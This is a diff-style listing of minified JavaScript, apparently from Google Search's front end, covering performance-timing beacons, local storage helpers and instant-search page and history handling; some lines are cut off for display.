+k.push("rdxt."+(q.redirectEnd-q.redirectStart)),q.responseEnd&&q.requestStart&&k.push("rqst."+(q.responseEnd-q.requestStart)),q.responseEnd&&q.responseStart&&k.push("rspt."+(q.responseEnd-q.responseStart)));(i=k.join(","))&&h.push(i)}if((i=window.google.timers.session)&&i.t&&g)for(p in i.t)"start"!=p&&h.push(p+"."+(g-i.t[p]));delete f.start;if(b)for(var v in b)d+="&"+v+"="+b[v];(b=c)||(b="https:"==window.document.location.protocol?_.Mj:_.Nj);a=[b,"?v=3","&s="+(window[_.Gj].sn||_.Oj)+"&ac [...]
+_.Cj&&n.length?"&it="+n.join(","):"","",d,"&rt=",h.join(",")].join("")}if(!a)return"";var d=new window.Image,r=window[_.Gj].uR++;window[_.Gj].GJ[r]=d;d.onload=d.onerror=function(){delete window[_.Gj].GJ[r]};d.src=a;d=_.l;return a};
+_.Pj=function(a,b,c){if("prerender"==window.document.webkitVisibilityState){var d=_.m,e=function(){if(!d){b?b.prerender="1":b={prerender:"1"};var f;"prerender"==window.document.webkitVisibilityState?f=_.m:((0,_.Ej)(a,b,c),f=_.j);f&&(d=_.j,window.document.removeEventListener("webkitvisibilitychange",e,_.m))}};window.document.addEventListener("webkitvisibilitychange",e,_.m);return""}return(0,_.Ej)(a,b,c)};
+_.Qj=function(a,b){a===_.ba&&(a=_.j);if(!a||window.google.timers.load.t&&window.google.timers.load.t.xjs&&window.google.timers.load.t.ol){b=b||window.google.kCSI;window.google.browser.engine.IE&&(b.dM=window.document.documentMode);if(_.Rj){var c=b;if(c){var d=(0,_.Aj)("tads"),e=(0,_.Aj)("mbEnd"),f=(0,_.Aj)("tadsb"),g=[];d&&g.push("t."+d);e&&g.push("r."+e);f&&g.push("b."+f);c.adh=g.join(",")}}c=b;if(_.Sj&&!(0==_.Tj.length||_.Uj)){if(!_.Uj){d=_.Tj.split(",");for(e=0;e<d.length;e++)d[e]=win [...]
+_.Fj=_.j;_.Hj=_.m;_.Oj="GWS";_.Gj="google";_.Nj="/csi";_.Mj="/csi";_.Rj=_.m;_.Tj="";_.Sj=_.m;_.Ij=_.j;_.Jj=_.j;_.Cj=_.m;_.Dj=_.j;_.Wj=_.m;_.Lj=_.j;_.Kj=_.j;
+(0,_.ah)("csi",{csi:function(a){a.csbu&&(_.Mj=a.csbu);a.cbu&&(_.Nj=a.cbu);a.ert&&(_.Cj=a.ert);a.esd&&(_.Kj=a.esd);a.fpt&&(_.Dj=a.fpt);a.ibd&&(_.Ij=a.ibd);a.ifr&&(_.Wj=a.ifr);a.itpt&&(_.Fj=a.itpt);a.itptt&&(_.Hj=a.itptt);a.iwi&&(_.Lj=a.iwi);a.nsp&&(_.Gj=a.nsp);a.sn&&(_.Oj=a.sn);a.srb&&(_.Jj=a.srb);a.acsi&&(_.Rj=a.acsi);a.dck&&(_.Sj=a.dck);a.dckid&&(_.Tj=a.dckid)}});(0,_.gh)("csi");
+_.Vj=_.m;_.Uj=_.m;window[_.Gj]&&(window[_.Gj].GJ={},window[_.Gj].uR=1);(0,_.ha)(_.Gj+".report",_.Pj,_.ba);(0,_.ha)(_.Gj+".csiReport",_.Qj,_.ba);_.Wj&&(0,_.ha)(_.Gj+".reportDone",_.Yaa,_.ba);
+(0,_.Mc)(_.Dc.I(),"sy5");(0,_.Qc)(_.Dc.I(),"sy5");
+}catch(e){_._DumpException(e)}
+try{
+_.nq=function(a){if(!a.B)return _.m;try{return a.B.setItem("__sak","1"),a.B.removeItem("__sak"),_.j}catch(b){return _.m}};_.oq=function(){var a=_.l;try{a=window.localStorage||_.l}catch(b){}this.B=a};_.pq=function(a){this.iE=a;this.kP=new _.Tg};(0,_.Pc)(_.Dc.I(),"sy30");
+(0,_.ab)(_.oq,_.Zg);_.F=_.pq.prototype;_.F.iE=_.l;_.F.kP=_.l;_.F.set=function(a,b){(0,_.ja)(b)?this.iE.set(a,(0,_.Sg)(this.kP,b)):this.iE.remove(a)};_.F.get=function(a){a=this.iE.get(a);if(a!==_.l)try{return(0,_.Pg)(a)}catch(b){(0,_.aa)("Storage: Invalid value was encountered")}};_.F.remove=function(a){this.iE.remove(a)};
+
+(0,_.Mc)(_.Dc.I(),"sy30");(0,_.Qc)(_.Dc.I(),"sy30");
+}catch(e){_._DumpException(e)}
+try{
+_.qq=function(){return(0,_.Xh)()?"gbqfw":"searchform"};_.rq=function(a,b){this.D=a;this.B=b};_.sq=function(a,b){this.aE=a;this.lD=b+"::"};_.Tba=function(a,b,c,d){"Storage mechanism: Storage disabled"==a||"Storage mechanism: Quota exceeded"==a||(a=(0,_.ua)(a)?(0,window.Error)(a):a,c={op:b,k:c},"set"==b&&(c.v=d),window.google.ml(a,_.m,c))};
+_.tq=function(a,b){var c=b||"__empty__";_.uq[a]=_.uq[a]||{};var d=_.uq[a],e;if(!(e=_.uq[a][c])){e=new _.Uba[a];var f=(0,_.nq)(e);e={i1:new _.pq(new _.rq(b?new _.sq(e,b):e,_.Tba)),GV:f}}d[c]=e};_.vq=function(a,b){var c=b||"__empty__";(0,_.tq)(a,b);return _.uq[a][c].i1};
+_.wq=function(a,b,c){b._sn=a;b._t="jesr";try{b.us=_.xq,b.ss=!!window.sessionStorage,_.xq&&(b.s="number"==typeof window.sessionStorage.remainingSpace?window.sessionStorage.remainingSpace:-1)}catch(d){}window.google.ml(c||(0,window.Error)("jesr"),_.m,b)};_.yq=function(a){for(var b=(0,_.zq)(a),c=0,d;d=b[c++];)_.Aq.remove(a+d);(0,_.Bq)(a,[])};_.Cq=function(){_.xq?(0,_.yq)("s"):(_.Dq.bS=1,(0,window.setTimeout)(_.Eq,0));_.Fq.s={}};_.Gq=function(a,b){1===_.Fq[a][b]&&(_.Fq[a][b]=_.Aq.get(a+b));r [...]
+_.Hq=function(a,b){return b in _.Fq[a]&&(0,_.ja)((0,_.Gq)(a,b))};_.Iq=function(a,b){delete _.Fq[a][b];if(_.xq){for(var c=(0,_.zq)(a),d=-1,e=0,f;f=c[e++];)if(f==b){d=e-1;break}if(0<=d){c.splice(d,1);try{(0,_.Bq)(a,c),_.Aq.remove(a+b)}catch(g){(0,_.wq)("RCI",{k:c?c.length:-1},g)}}}};_.zq=function(a){a=_.Aq.get(a);return(0,_.oa)(a)?a:[]};_.Bq=function(a,b){for(var c={},d=[],e=b.length-1;0<=e;e--)c[b[e]]||(c[b[e]]=1,d.push(b[e]));d.reverse();_.Aq.set(a,d)};
+_.Jq=function(a){var b=[],c;for(c in _.Dq[a]){var d=!_.Aq.get(a+c);_.Aq.set(a+c,(0,_.Gq)(a,c));d&&b.push(c)}0<b.length&&(c=(0,_.zq)(a),c=c.concat(b),(0,_.Bq)(a,c))};_.Kq=function(a){try{(0,_.Jq)(a)}catch(b){(0,_.Lq)("s");try{(0,_.Jq)(a)}catch(c){(0,_.wq)("SCSTSSAC",{p:a},c),(0,_.aa)(c)}}};_.Lq=function(a){var b=(0,_.zq)(a),c=b.splice(1,window.Math.floor(b.length*window.google.j.sc));(0,_.Bq)(a,b);for(var b=0,d;d=c[b++];)delete _.Fq[a][d],_.Aq.remove(a+d)};
+_.Eq=function(){if(_.Dq.bS)try{if(_.xq)(0,_.Kq)("c"),(0,_.Kq)("s");else{var a={},b;for(b in _.Fq)if("c"==b){a[b]={};var c=_.Fq.c,d;for(d in c)"1"!=d&&(a[b][d]=c[d])}else if("s"==b){a[b]={};var e=_.Fq.s,f;for(f in e)"#"!=f&&(a[b][f]=e[f])}else a[b]=_.Fq[b];var g=(0,_.Rg)(a);if(g.length>_.Mq)try{var c=b=0,h;for(h in a.s)b++;for(h in a.c)c++;window.google.ml((0,window.Error)("jesr"),_.m,{_sn:"JMCSE",_t:"jesr",_s:b,_c:c,_l:g.length})}catch(i){}(0,_.T)("wgjc").value="("+g+")"}}catch(n){(0,_.T [...]
+"({})",(0,_.wq)("SE",{},n)}finally{_.Dq={c:{},s:{}}}};_.Vba=function(){var a=_.m;(0,_.Nq)(_.j);try{if(_.xq){for(var b=(0,_.zq)("s"),c=(0,_.zq)("c"),d=0,e;e=b[d++];)_.Fq.s[e]=1;e=0;for(var f;f=c[e++];)"1"==f&&_.Fq.c[1]||(_.Fq.c[f]=1);a=0<b.length||0<c.length}else{var d=(0,_.T)("wgjc").value,a=""!=d,g=eval(d);g&&(g.f&&"2"==g.f)&&(_.Fq=g)}}catch(h){(0,_.wq)("RC",{},h)}(0,_.Nq)();return a};_.Nq=function(a){if(!_.Fq||a)_.Fq={f:"2",c:{},s:{}};!(0,_.Hq)("c","1")&&window.google.j[1]&&(_.Fq.c["1" [...]
+_.Oq=function(a,b){if(_.Pq[a]){var c=_.Pq[a],d=_.Wba[a];if(b&&d){for(var e=[],f=0;f<c.length;f++){var g=c[f];d[g]||e.push(g)}return e}return c}return[]};_.Qq=function(a,b){for(var c={},d=(0,_.Oq)(a,_.j),e=0;e<d.length;e++){var f=d[e];(0,_.ja)(b[e])&&(c[f]=b[e])}return c};_.Rq=function(){return window.location};_.Sq=function(){this.B=[]};
+_.Tq=function(a){var b=a.getElementsByTagName("SCRIPT");a=[];for(var c=0,d=b.length;c<d;c++){var e=b[c].text;0<e.length&&a.push(e)}0!=a.length&&(b=(0,_.T)("jjsd"),b||(b=(0,_.wd)("DIV"),b.id="jjsd",(0,_.Ye)(b)),c=(0,_.wd)("SCRIPT"),c.text=a.join(";"),b.appendChild(c),a=(0,_.wd)("SCRIPT"),a.text='(function(){try{var n=document.getElementById("jjsd");n.parentNode.removeChild(n);}catch(e){}})();',b.appendChild(a))};_.Uq=function(){for(var a=0;a<_.Vq.length;++a)(0,_.Tq)(_.Vq[a]);_.Vq=[];_.Wq=0};
+_.Xba=function(a){_.Wq&&(window.clearTimeout(_.Wq),_.Wq=window.setTimeout(_.Uq,a))};_.Xq=function(a){_.Qe.He&&(a=a.replace(_.Yba,"<input type=hidden>$1"));return a};_.Yq=function(a){for(var b=[],c=0,d=0,e=0;-1!=c&&e>=c;)c=a.indexOf("<script",e),-1!=c&&(d=a.indexOf(">",c)+1,e=a.indexOf("\x3c/script>",d),0<d&&e>d&&b.push(a.substring(d,e)));return b};
+_.Zq=function(a,b,c){try{var d=(0,_.wd)("SCRIPT");d.text=a;window.jesrScriptTags=window.jesrScriptTags||[];window.jesrScriptTags.push(d);window.document.body.appendChild(d)}catch(e){c(e,b)}};_.$q=function(){window.gcscript||(window.gcscript=function(){if(window.jesrScriptTags)for(;window.jesrScriptTags.length;)(0,_.Fd)(window.jesrScriptTags.shift())});(0,_.Zq)("try{window.gcscript()}catch(e){}")};_.ar=function(){};_.br=function(a){return"#"==a.B};
+_.cr=function(){window.google.j.ss=_.er>window.google.j.ss?_.er:window.google.j.ss+1};_.fr=function(){_.gr=window.google.j.ss};_.hr=function(a){if(!a)return{};a=a.substr(window.Math.max(a.indexOf("?"),a.indexOf("#"))+1).split("&");for(var b={},c=0;c<a.length;++c){var d=a[c];d&&(d=d.split("="),(0,_.ja)(b[d[0]])||(b[d[0]]=d[1]||""))}return b};_.ir=function(a){a.orq&&(a.q=a.orq,delete a.orq,a.ortbs?(a.tbs=a.ortbs,delete a.ortbs):delete a.tbs)};
+_.jr=function(a,b,c){if(!a||"#"==a)return"";a=(0,_.hr)(a);c&&(0,_.ir)(a);for(var d in a)b[d]&&delete a[d];c&&(0,_.kr)(a);return(0,_.lr)(a)};_.kr=function(a){if((0,_.ja)(a.q)){var b=(0,window.decodeURIComponent)(a.q.replace(/\+/g,"%20")),b=b.replace(/( |\u3000)+/g," "),b=_.mr?b.replace(_.mr,""):b;a.q=(0,window.encodeURIComponent)(b.toLowerCase())}};_.nr=function(a,b){var c={};(0,_.Wb)(c,a||{},b||{});return c};_.lr=function(a){var b=[],c;for(c in a)b.push(c+"="+a[c]);b.sort();return b.join("&")};
+_.or=function(){return"/images"==(0,_.Rq)().pathname||"/imghp"==(0,_.Rq)().pathname?"images":"search"};_.pr=function(a){return(0,_.no)(["isch"],a)};_.qr=function(a,b){var c=a.split("#");return 1<c.length?c[0]+"#"+b(c[1]):a};_.rr=function(a,b,c){return a.replace((0,window.RegExp)("([?&]"+b+"=).*?([&#]|$)"),"$1"+(0,window.encodeURIComponent)(c).replace(/\%20/g,"+")+"$2")};_.sr=function(){var a=[];if(_.Fq.c)for(var b in _.Fq.c)a.push(b);for(b=0;b<a.length;++b)if("1"!=a[b])return a[b];return"1"};
+_.tr=function(a,b,c){b._sn=a;b._t="jesr";b._ls=(0,_.ur)().value();b._fr=!!_.vr;b._ph=_.wr[_.xr]||0;window.google.j.ss==_.gr||(b._ss=window.google.j.ss+","+_.gr);try{b._wlt=typeof(0,_.Rq)().href,b._flt=typeof _.vr.location.href,b._wl=(0,_.Rq)().href,b._fl=_.vr.location.href}catch(d){}window.google.ml(c||(0,window.Error)("jesr"),_.m,b)};
+_.yr=function(a,b){a.removeEventListener?(a.removeEventListener("load",b,_.m),a.removeEventListener("error",b,_.m)):(a.detachEvent("onload",b),a.detachEvent("onerror",b))};_.zr=function(){if("webkitVisibilityState"in window.document)return window.document.webkitHidden};
+_.Ar=function(){if(_.Br&&(!(0,_.pr)((0,_.Rq)().href)||window.google.isr.csi_done)&&window.google.timers&&window.google.timers.load.t&&window.google.timers.load.e){window.google.timers.load.t.iml=window.google.time();window.google.timers.load.e.imn=_.Cr;1<_.Dr&&(window.google.timers.load.e.alm=_.Dr-1);var a=window.google.timers.load.t,b=_.Er;-1==b?(a.hjsrt=a.jsrt,a.himl=a.iml,a.jsrt=a.start,a.iml=a.start):a.jsrt<b&&(a.hjsrt=a.jsrt,a.himl=a.iml,b<a.start?a.jsrt=b:(a.jsrt=a.start,a.iml=a.im [...]
+b));(0,_.Qj)(_.m,window.google.timers.load.e);window.google.dph&&window.google.dph();_.Dr=0}};_.Fr=function(a,b){if(b||window.google.j.ss==_.gr&&++_.Gr==_.Cr)_.Br=_.j,(0,_.Ar)();b||(a=a||window.event,(0,_.yr)(a.target||a.srcElement,_.Fr))};
+_.Hr=function(a,b,c){b=(0,_.qr)(b,_.Zba);try{if(window.google.j.h5h&&a==(0,_.Rq)()){window.google.j.hm&&(b=(0,_.qr)(b,function(a){return(0,_.Kl)((0,_.Nl)(a))}));var d=b.replace(/^#/,"/"+(0,_.or)()+"?").replace(/&fp=([^&]*)/g,"&fpz=$1");if(!((0,_.Rq)().href.replace((0,window.RegExp)(".*(?=/"+(0,_.or)()+"\\?)"),"")==d||"#"==b&&(0,_.Ir)()))_.Jr[c?"replaceState":"pushState"](b,"",d)}else c||window.google.j.ahr?(0,_.Kr)(a,b,_.j):b.indexOf("#")||(0,_.Kr)(a,b)}catch(e){(0,_.tr)("SL",{h5h:window [...]
+psy:1,r:c,v:b},e)}};_.Lr=function(a,b,c){try{c||window.google.j.ahr?(a.replace(b),(0,_.xf)(43,[b,c])):(a.href=b,(0,_.xf)(43,[b]))}catch(d){(0,_.tr)("SL",{h5h:window.google.j.h5h,psy:1,r:c,v:b},d)}};_.Kr=function(a,b,c){if(_.Qe.He&&(0,_.pr)((0,_.Rq)().href))var d=window.google.time();window.google.j.hm?(0,_.Gl)("",b,c):c?a.replace(a.href.replace(/#.*/,"")+b):a.hash=b;_.Qe.He&&d&&300<window.google.time()-d&&4<=(0,_.zq)("s").length&&(0,_.Lq)("s");(0,_.xf)(43,[b])};
+_.$ba=function(a,b,c){a[b]?a.__handler||(a.__handler=a[b],a[b]=function(b){return a.__handler(b)!=_.m&&c.call(a,b)}):a.__handler=a[b]=function(a){return c.call(this,a)}};
+_.Mr=function(){for(var a=window.document.getElementsByTagName("form"),b=0,c;c=a[b++];){var d;if(!(d=_.Nr.test(c.action)))a:if(d=c,window.google.j.xmi)d=_.j;else{if(_.Or&&_.Or.test(d.action)){d=d.getElementsByTagName("input");for(var e=0,f=_.ba;f=d[e];++e)if("tbm"==f.name&&"isch"==f.value){d=_.j;break a}}d=_.m}d&&!/\bnj\b/.test(c.className)&&(0,_.$ba)(c,"onsubmit",function(a){(0,_.xf)(69);return(0,_.Pr)(this,_.m,a)})}};_.aca=function(a){var b=_.Qr;_.Wq&&(window.clearTimeout(_.Wq),b(a)==b [...]
+_.Sr=function(a,b){try{b||_.Tr.add("bc",[a]);var c=a||"";window.document.body.className!=c&&(window.document.body.className=c)}catch(d){(0,_.tr)("BC",{name:a},d)}};
+_.Ur=function(a,b,c,d){try{d||_.Tr.add("p",[b,c]);if(!(0,_.xf)(6,[b,a,c]))return _.m;if(("sdb"==b||"taw"==b)&&_.Vr){window.document.body.style.height=window.document.body.offsetHeight+4+"px";try{(0,_.Wr)(_.Xr)}catch(e){}(0,_.xf)(103,[a])&&window.scroll(0,0);_.Vr=_.m}var f=(0,_.T)(b);c=(0,_.Xq)(c);try{if(f.innerHTML=c,_.Yr&&(0,_.xf)(79,[])){if(d=_.Yr,0!=f.getElementsByTagName("SCRIPT").length&&(_.Rr&&(a!=_.Rr&&_.Wq)&&(window.clearTimeout(_.Wq),_.Wq=0,_.Vq=[]),_.Rr=a,_.Vq.push(f),1==_.Vq.l [...]
+window.setTimeout(_.Uq,d)),!_.Zr)){var g=(0,_.Xa)(_.Xba,_.l,d);(0,_.rh)(window,"keypress",g);_.Zr=_.j}}else(0,_.Tq)(f)}catch(h){var i=f.cloneNode(_.m);i.innerHTML=c;f.parentNode.replaceChild(i,f);(0,_.Tq)(i)}if("main"==b){var n=(0,_.$r)(a);if(n!=_.l&&(n=(0,_.xf)(4,[n,_.j],n,_.l),n!=_.l)){var p=(0,_.Un)();p&&p.q.value!=n&&(p.q.value=n)}}(0,_.T)(b).style.visibility=""}catch(k){(0,_.tr)("P",{id:b},k)}_.wr[_.xr]=21;if(!(0,_.xf)(18,[b]))return _.m};
+_.as=function(a,b){for(var c in b){var d=b[c];if(d&&"object"==typeof d){if(!a[c]||"object"!=typeof a[c])a[c]={};(0,_.as)(a[c],d)}else a[c]=d}};_.bs=function(){return/#.+/.test((0,_.cs)())?(0,_.cs)():(0,_.Rq)().href.substr((0,_.Rq)().href.indexOf("?")).replace(/#.*/,"")};_.ds=function(a,b){try{var c=(b===_.ba?(0,_.bs)():b).match("[?&#]"+a+"=(.*?)([&#]|$)");if(c)return(0,window.decodeURIComponent)(c[1].replace(/\+/g," ").replace(/[\n\r]+/g," "))}catch(d){(0,_.tr)("GQC",{c:a},d)}return _.l};
+_.$r=function(a){var b=(0,_.ds)("dq",a);return b!=_.l?b:(0,_.ds)("q",a)||(0,_.ds)("as_q",a)};_.es=function(a,b){_.Tr.add("spf",[b]);window.google.j.pf=b};_.fs=function(a,b,c,d){var e=d||{};e._c="je";e._ce=a;8==a&&(e._ph=_.wr[_.xr]||0);var f=(0,_.xf)(30,window.Array.prototype.slice.call(arguments,0,2),c,function(a){return 1!=a});(0,_.gs)(b,e,f)};
+_.gs=function(a,b,c){if(1!==c){a="/"+(0,_.or)()+"?"+a.substr(1).replace(/(^|&)fp\=[^&]*/g,"").replace(/(^|&)tch\=[^&]*/g,"").replace(/(^|&)escfg\=[^&]*/g,"")+"&emsg=NCSR&noj=1&ei="+window.google.kEI;var d,e,f;d=e=f="(none)";try{_.vr&&(_.vr.document&&_.vr.location)&&(d=_.vr.google,e=_.vr.location.href,f=_.vr.document.title)}catch(g){}try{var h={_sn:"NCSR",_t:"jesr",_g:!!d,_lg:((0,_.ja)(_.er)?window.google.time()-_.er:_.l)||"NA",_sl:_.hs,_wl:(0,_.Rq)().href,_fl:e,_it:f.substr(0,100)},i;for [...]
+(h[i]=b[i]);window.google.ml((0,window.Error)("jesr"),_.m,h)}catch(n){}3!=c&&2==c&&(_.Qe.He?(_.Jr.back(),(0,_.Lr)(window.google.j.gwtl(),a)):(0,_.Lr)(window.google.j.gwtl(),a,1))}};_.is=function(a){a=(0,_.js)(a);a=a.replace(/(^|&)bvm\=[^&]*/g,"");var b=_.Qi?(0,_.Ii)():"";return a=b?a+b:a};
+_.js=function(a){a=a.replace(/(^|&)bav\=[^&]*/g,"");var b=[];if(window.gbar){var c=window.gbar.bv;c&&b.push("on."+c.n,"or."+c.r)}window.google.j.cf&&b.push("cf."+window.google.j.cf);return 0<b.length?a+"&bav="+b.join(","):a};
+_.Pr=function(a,b,c,d,e){a:if(!_.ks||!(0,_.xf)(70,[a,b]))d=_.j;else{c="";try{c=(0,_.ls)(a,b,_.m)}catch(f){switch(f.message){case "IMFL":case "CO":d=_.j;break a;case "NQAQR":d=_.m;break a;default:d=_.j;break a}}!_.Pe.Lt&&(0,_.xf)(24,[c])&&(0,_.Hr)((0,_.Rq)(),c);b=(0,_.ds)("tbm",c);var g=(0,_.ds)("tbm",(0,_.ms)().value());b!=g&&(0,_.xf)(88,[g,b]);(0,_.ms)().set(c);_.ns=_.j;(0,_.Iq)("s",(0,_.os)(c));(0,_.Fd)((0,_.T)("jjsd"));window.google._bfr=_.ba;(0,_.T)("csi").value="";(0,_.ps)(c,_.m,d,e [...]
+(d&&(0,_.Md)(a))&&(a.target="_top");return d};_.qs=function(a){if((0,_.ds)("q",a))return _.j;a=(0,_.ds)("tbs",a);return!!a&&(-1!=a.indexOf("simg")||-1!=a.indexOf("sbi")||-1!=a.indexOf("ppl_id")&&-1!=a.indexOf("ppl_np"))};
+_.ls=function(a,b,c){var d="#";try{if(b)d+=a.match(/\?(.*)/)[1].replace(/#.*/,"");else{b=[];a.q&&!c&&a.q.blur();for(var e=0,f;f=a.elements[e++];)if(!("radio"==f.type||"submit"==f.type)||f.checked)"btnI"==f.name&&(0,_.aa)((0,window.Error)("IMFL")),f.name&&b.push(f.name+"="+(0,window.encodeURIComponent)(f.value).replace("%3A",":"));d+=b.join("&").replace(/\%20/g,"+")}d=(0,_.is)(d);d=d.replace(/\'/g,"%27");!(0,_.qs)(d)&&!c&&(0,_.aa)((0,window.Error)("NQAQR"));var g=(0,_.ds)("q",d);/^\s*cach [...]
+(0,_.aa)((0,window.Error)("CO"))}catch(h){switch(h.message){case "IMFL":case "NQAQR":case "CO":break;default:(0,_.tr)("GUFQ",{t:a.tagName},h)}(0,_.aa)(h)}d=(0,_.Vn)("fp",d,"1"==_.Xr?(0,_.sr)():_.Xr);return d=(0,_.xf)(51,[d],d)||""};_.Ir=function(){var a=(0,_.Rq)(),b=(0,_.rs)();return(0==a.href.indexOf(_.ss)||"/search"!=a.pathname&&"/images"!=a.pathname)&&!(0,_.qs)(b)};_.ts=function(){return(0,_.Ir)()?"#":(0,_.cs)()};
+_.us=function(a,b,c){(!a||"#"==a)&&(0,_.Rq)().href.replace(/#.*/,"")!=_.ss&&!("/search"==(0,_.Rq)().pathname||"/images"==(0,_.Rq)().pathname)?(0,_.Rq)().replace((0,_.Rq)().href):(0,_.vs)(b?1:0,c,a||(0,_.ts)())};_.bca=function(a){var b=(0,_.ts)();(0,_.us)("#"==b?"#":a&&a.state,_.m,_.m)};_.ws=function(){var a=(0,_.rs)();return(0,_.qs)(a)?((0,_.Hr)((0,_.Rq)(),(0,_.Rq)().href.match(/#.*/)[0],_.j),_.j):_.m};_.cca=function(){(0,_.ws)()&&(0,_.vs)()};_.dca=function(){(0,_.vs)()};_.eca=function(a [...]
+_.vs=function(a,b,c){a=1===a;c=c||(0,_.cs)();!_.xs&&("#"!=c&&!(0,_.qs)(c))&&((0,_.tr)("BF",{o:a,f:b,s:c}),_.xs=_.j);if(_.ys&&c!=(0,_.ur)().value()&&_.zs.test((0,_.Rq)().href)){var d=(0,_.os)(c);_.ns=!(0,_.Hq)("s",d);_.As.shouldBlur&&(d=(0,_.Un)())&&d.q.blur();try{a&&"#"!=c&&b&&(c=(0,_.rr)(c,"fp",(0,_.sr)()),-1==c.indexOf("&fp=")&&(c+="&fp=1"),c=(0,_.is)(c),-1==c.indexOf("&cad=")&&(c+="&cad=b"),-1<c.indexOf("&cad=b")&&(c+=(0,_.Bs)()),(0,_.Iq)("s",(0,_.os)(c)),(0,_.Hr)((0,_.Rq)(),c,1))}cat [...]
+[c])){if(a&&(window.google.y&&window.google.y.first)&&(window.google.y.first=[],b=(0,_.T)((0,_.qq)()),window.google.sn in _.fca)){b&&(b.style.display="none");var f;window.gbar&&(f=window.gbar.gpcr)&&f()}(0,_.ps)(c,a)}else(0,_.ur)().set(c)}};
+_.ps=function(a,b,c,d){_.er=window.google.time();_.Cs=_.Ds=_.Vr=_.m;window.google.timers&&(window.google.timers.load.t=_.l,window.google.timers.load.e=_.l);"#"!=a&&-1==a.indexOf("&fp=")&&(a+="&fp="+_.Xr,(0,_.Hr)((0,_.Rq)(),a,1));(0,_.xf)(65,[(0,_.ur)().value(),a]);(0,_.ur)().set(a);_.hs=0;try{_.ys=0;var e=a.substr(1),f=(0,_.os)(a);if((0,_.Hq)("s",f)&&!c)(0,_.cr)(),d?window.setTimeout(function(){(0,_.Es)(a)},d):(0,_.Es)(a);else if("#"!=a){var g="/"+(0,_.or)()+"?"+e;if(g=(0,_.xf)(5,[g,c],g [...]
+(0,_.cr)();_.Fs=_.Vr=_.j;a:{var h=g;_.Gs&&(0,_.xf)(72,[]);var i=_.Gs.X(h);if(!i&&(_.Hs||(_.Gs.H(),_.Gs.D(),_.Gs.Ja()),_.Is&&!_.Gs.ra())){_.Is.jd(h,c);break a}d&&i&&!c?window.setTimeout(function(){_.Gs.jd(h)},d):_.Gs.jd(h,c)}}else _.ys=1}else(0,_.xf)(53),(0,_.Rq)().reload()}catch(n){_.hs=1,(0,_.tr)("GO",{o:b,s:a},n)}window.setTimeout(function(){_.hs=1},50)};
+_.gca=function(a,b,c){a=(0,_.Yq)(a);0<a.length&&(0,_.Zq)(a.join(";"));c=c.replace(_.zs,"");if(a=_.Js[c])a.bG(),delete _.Js[c];window.setTimeout(_.$q,0);return _.j};_.Wr=function(a){try{if(_.Ks){var b=(0,_.T)(_.Ks);b&&(b.innerHTML="")}for(var c=(0,_.Gq)("c",a),b=0,d;d=c.cc[b++];){var e=(0,_.T)(d);e?e.style.visibility="hidden":(0,_.tr)("C",{container:d},(0,window.Error)("Missing chrome container"))}}catch(f){(0,_.tr)("C",{fp:a,c:d},f)}};
+_.Ls=function(){try{_.Tr.clear();_.Tr.add("ad",[window.document.title,window.google.kEI,_.Xr,0,_.j]);for(var a=(0,_.Gq)("c",_.Xr),b=0,c;c=a.co[b++];){var d=(0,_.T)(c);d?_.Tr.add("p",[c,d.innerHTML]):(0,_.tr)("IS",{container:c},(0,window.Error)("Missing chrome container"))}if(a.bl){for(var e=a.bl[1],f=(0,_.T)(a.bl[0]).getElementsByTagName("a"),a={},b=0,g;g=f[b++];)0==g.id.indexOf(e)&&(a[g.id]=g.href);_.Tr.add("ph",[a])}_.Tr.add("zz",[_.j]);(0,_.Ms)("#",_.j,_.j)}catch(h){(0,_.tr)("IS",{},h)}};
+_.Ms=function(a,b,c){a=(0,_.os)(a);var d=(0,_.Gq)("s",a);if(b||!d)b=_.Tr.getAll(),_.Fq.s[a]=b,_.Tr.clear();c||(_.xq&&(_.Dq.c[_.Xr]=1,a&&(_.Dq.s[a]=1)),_.Dq.bS=1,(0,window.setTimeout)(_.Eq,0))};
+_.Ns=function(a,b){var c=a.n+"",d=b&&(0,_.ja)(b.ss)?b.ss:a.ss;try{if(c&&("bvch"==c||(!d?0===d:d==window.google.j.ss&&window.google.j.ss>_.gr))){for(var d=[],e=(0,_.Oq)(c,_.m),f=0;f<e.length;f++)d.push(b&&(0,_.ja)(b[e[f]])?b[e[f]]:a[e[f]]);window.google.j[c].apply(_.l,d)}}catch(g){c={n:c,m:a},b&&(c.g=b,c.s=b.is),(0,_.tr)("ECF",c,g)}};_.Os=function(a,b,c){var d=(0,_.Gq)("c",a)||{},e=d.funcs||[];c=(0,_.Qq)(b,c);c.n=b;e.push(c);d.funcs=e;_.Fq.c[a]=d};
+_.Ps=function(){_.Qs||(_.Qs=window.google.sn);window.google.sn=(0,_.br)((0,_.ur)())?_.Qs:"web";window.google.timers&&!window.google.timers.load.t&&(window.google.rph&&window.google.rph(),window.google.timers.load.t={start:window.google.time()})};_.Rs=function(a,b,c,d,e,f){_.Xr!=b&&(d||(_.Fq.c[b]=a),c&&(_.Cs=_.Ds=_.j,(0,_.Ps)(),!_.Ss&&!f&&((0,_.gh)("dispose"),(0,_.xf)(89,[]),_.Ss=_.j),a=(0,_.Gq)("c",b),a.css&&(0,_.Ts)("gstyle",a.css,b,_.j,_.j,e)),_.wr[_.xr]=10)};
+_.Us=function(a,b){a&&(_.Qe.He?a.styleSheet&&(a.styleSheet.cssText=b):a.textContent=b)};_.Ts=function(a,b,c,d,e){_.Xr!=c&&(e||(0,_.Os)(c,"pcs",[a,b,c,_.j,_.j,""]),d&&(0,_.Us)((0,_.T)(a),b))};_.Vs=function(a,b,c,d,e){if(_.Xr!=c){try{e||(0,_.Os)(c,"pc",[a,b,c,_.j,_.j,""]),d&&((0,_.Ur)((0,_.ur)().value(),a,b,_.j),(0,_.xf)(81,[a]))}catch(f){(0,_.tr)("PC",{c:a,f:c},f)}_.wr[_.xr]=11}};
+_.Ws=function(a,b,c,d){if(_.Xr!=b){if(!d){d=(0,_.Gq)("c",b);for(var e in a)d[e]=a[e]}c&&(_.Xr=b,window.document.body.style.display="",window.document.body.style.visibility="");(0,_.xf)(42,[b]);_.wr[_.xr]=12}};
